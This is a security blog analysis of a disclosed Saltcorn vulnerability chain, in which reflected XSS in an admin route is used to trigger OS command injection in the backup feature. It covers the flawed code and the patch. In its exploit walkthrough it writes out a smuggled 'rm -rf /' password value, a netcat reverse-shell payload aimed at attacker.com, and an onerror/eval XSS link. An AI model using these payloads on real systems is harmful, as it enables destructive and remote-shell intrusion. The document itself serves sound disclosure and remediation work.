GHSA-CR3W-CW5W-H3FJ

Saltcorn's Salty Surprise: From Reflected XSS to Root Shell in One Click

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·6 min read·9 visits

Executive Summary (TL;DR)

Saltcorn, an open-source no-code builder, contained a critical exploit chain. A trivial Reflected XSS vulnerability in the admin interface served as the entry point to trigger a Command Injection flaw in the backup functionality. By sending a crafted link to a logged-in administrator, an attacker could force the server to execute arbitrary shell commands with the privileges of the application (often root in Docker environments).

A lethal combination of Reflected Cross-Site Scripting (XSS) and OS Command Injection in the Saltcorn no-code platform allows unauthenticated attackers to achieve Remote Code Execution (RCE) by tricking an administrator into clicking a single link.

The Hook: No-Code, All the Vulnerabilities

No-code platforms are the darlings of the modern tech stack. They promise to democratize software development, letting anyone build complex applications without writing a single line of code. But here is the irony: in their quest to abstract away the complexity, the developers of these platforms often have to write a lot of glue code to manage systems, databases, and files. And glue code is where the bugs live.

Saltcorn is one such platform. It is flexible, powerful, and as it turns out, was a bit too trusting. The vulnerability we are dissecting today isn't just a simple bug; it is a masterclass in "chaining." On their own, the two flaws found here are annoying but manageable. Combined? They turn a simple browser click into a full system compromise.

We are looking at a classic "1-click RCE." The attacker doesn't need credentials. They don't need network access to the admin panel. They just need a stressed-out sysadmin to click a link that looks vaguely like a support ticket or a log file analysis. Once that click happens, it is game over.

The Flaw: A Tale of Two Bugs

To understand this exploit, we have to look at two distinct failures in the Saltcorn codebase. The first is the Entry Point: a Reflected XSS vulnerability in the /admin/edit-codepage/:name route. When you navigate to this URL, the name parameter is grabbed from the URL and slapped directly into the page's breadcrumbs without adequate sanitization. It's the web security equivalent of leaving your front door unlocked because you live in a "nice neighborhood."

The second failure is the Payload: a Command Injection vulnerability in the /admin/backup functionality. This feature allows admins to create a ZIP backup of the system, optionally protecting it with a password. The developers used Node.js's child_process.exec() to run the system's zip utility.

Crucially, they constructed the command string by concatenating the user-supplied password directly into the shell command. They wrapped it in quotes, sure, but quotes in a shell are about as protective as a screen door on a submarine if you allow the user to inject their own closing quotes and command separators.

The Code: The Smoking Gun

Let's look at the crime scene. The vulnerable code in the backup handler looked something like this:

// The Vulnerable Code
const cmd = `zip -5 -rq ${backup_password ? `-P "${backup_password}" ` : ""}"${absZipPath}" .`;
exec(cmd, { cwd: folder }, (error: any) => { ... });

Do you see the horror? The variable backup_password is inserted directly into the template string. If I set the password to secret, the command becomes: zip -5 -rq -P "secret" "/path/to/zip" .

But if I set the password to "; rm -rf /;", the command becomes: zip -5 -rq -P ""; rm -rf /;" "/path/to/zip" .

The shell sees the first quote, sees the empty string, sees the closing quote, then sees a semicolon (command separator), and dutifully executes rm -rf /.

The fix, applied in commit 1bf681e08c45719a52afcf3506fb5ec59f4974d5, was to abandon exec (which spawns a shell) in favor of spawn (which executes the binary directly without shell interpretation).

// The Fix
const args = ["-5", "-rq", ...(backup_password ? [`-P`, backup_password] : []), absZipPath, "."];
const subprocess = spawn("zip", args, { cwd: folder });

By passing arguments as an array, the OS treats the password as a single string literal, no matter how many semicolons or backticks it contains.

The Exploit: Chaining for RCE

An attacker cannot reach the /admin/backup endpoint directly from the internet because they aren't authenticated. That is where the XSS comes in. The XSS allows the attacker to execute JavaScript as the administrator.

Here is the attack chain:

  1. Craft the Payload: The attacker creates a JavaScript payload that uses fetch() or XMLHttpRequest to send a POST request to /admin/backup. The body of this request sets the backup_password to a shell command, for example: "; nc -e /bin/sh attacker.com 4444;" (a reverse shell).
  2. Weaponize the Link: The attacker takes this JavaScript, encodes it, and stuffs it into the XSS vulnerability: http://target-saltcorn.com/admin/edit-codepage/<img src=x onerror=eval(atob('...'))>.
  3. The Click: The attacker sends this URL to the admin via email or chat. The admin clicks it. The browser renders the page, attempts to load the broken image, and triggers the onerror handler.
  4. Execution: The JavaScript executes in the admin's session. It silently POSTs to the backup endpoint. The server receives the request, constructs the zip command with the malicious password, and spawns the reverse shell.

Boom. You have a shell.

The Impact: Rooting the Docker

Saltcorn is frequently deployed via Docker. In many default Docker configurations, the process inside the container runs as root. This means our command injection executes with root privileges inside the container.

While container escape is a separate challenge, having root inside the container allows an attacker to:

  • Exfiltrate Data: Dump the entire database (connection strings are in environment variables).
  • Pivot: Use the compromised container to scan the internal network (Kubernetes cluster, internal APIs).
  • Persistence: Modify the application code to install a permanent backdoor, so access remains even after the password bug is patched.

The CVSS score is 9.6 (Critical) for a reason. This destroys the confidentiality, integrity, and availability of the application.

The Mitigation: Stop Using Exec

If you are running Saltcorn, update immediately. The patch (released around Jan 13, 2026) does three critical things:

  1. Removes exec: It uses spawn for the zip command, killing the injection vector.
  2. Global Sanitization: It adds middleware that recursively escapes all query and param inputs. This kills the XSS vector.
  3. Hardening: It sets process: undefined in template contexts to prevent SSTI (Server-Side Template Injection) from escalating to RCE.

For developers reading this: Never use child_process.exec with user input. Just don't do it. It is impossible to sanitize correctly. Use execFile or spawn and pass arguments as an array. It is cleaner, safer, and saves you from ending up in a GitHub Advisory.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
4.00%
Top 99% most exploited
1,500
via Shodan

Affected Systems

Saltcorn (Docker images)Saltcorn (npm package)Saltcorn < 1.3.0 (Command Injection)Saltcorn < 1.1.1 (Reflected XSS)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Saltcorn
Saltcorn
>= 1.3.0Post-Jan 2026 Releases
AttributeDetail
Attack VectorNetwork (Admin Interaction Required)
CVSS Score9.6 (Critical)
CWE IDsCWE-78 (OS Command Injection), CWE-79 (XSS)
Vulnerability TypeChained 1-Click RCE
Key Componentchild_process.exec
Patch Date2026-01-13
CWE-78
OS Command Injection

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Vulnerability Timeline

Fix commit 1bf681e pushed to main repository
2026-01-13
Public disclosure via GHSA-cr3w-cw5w-h3fj
2026-01-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.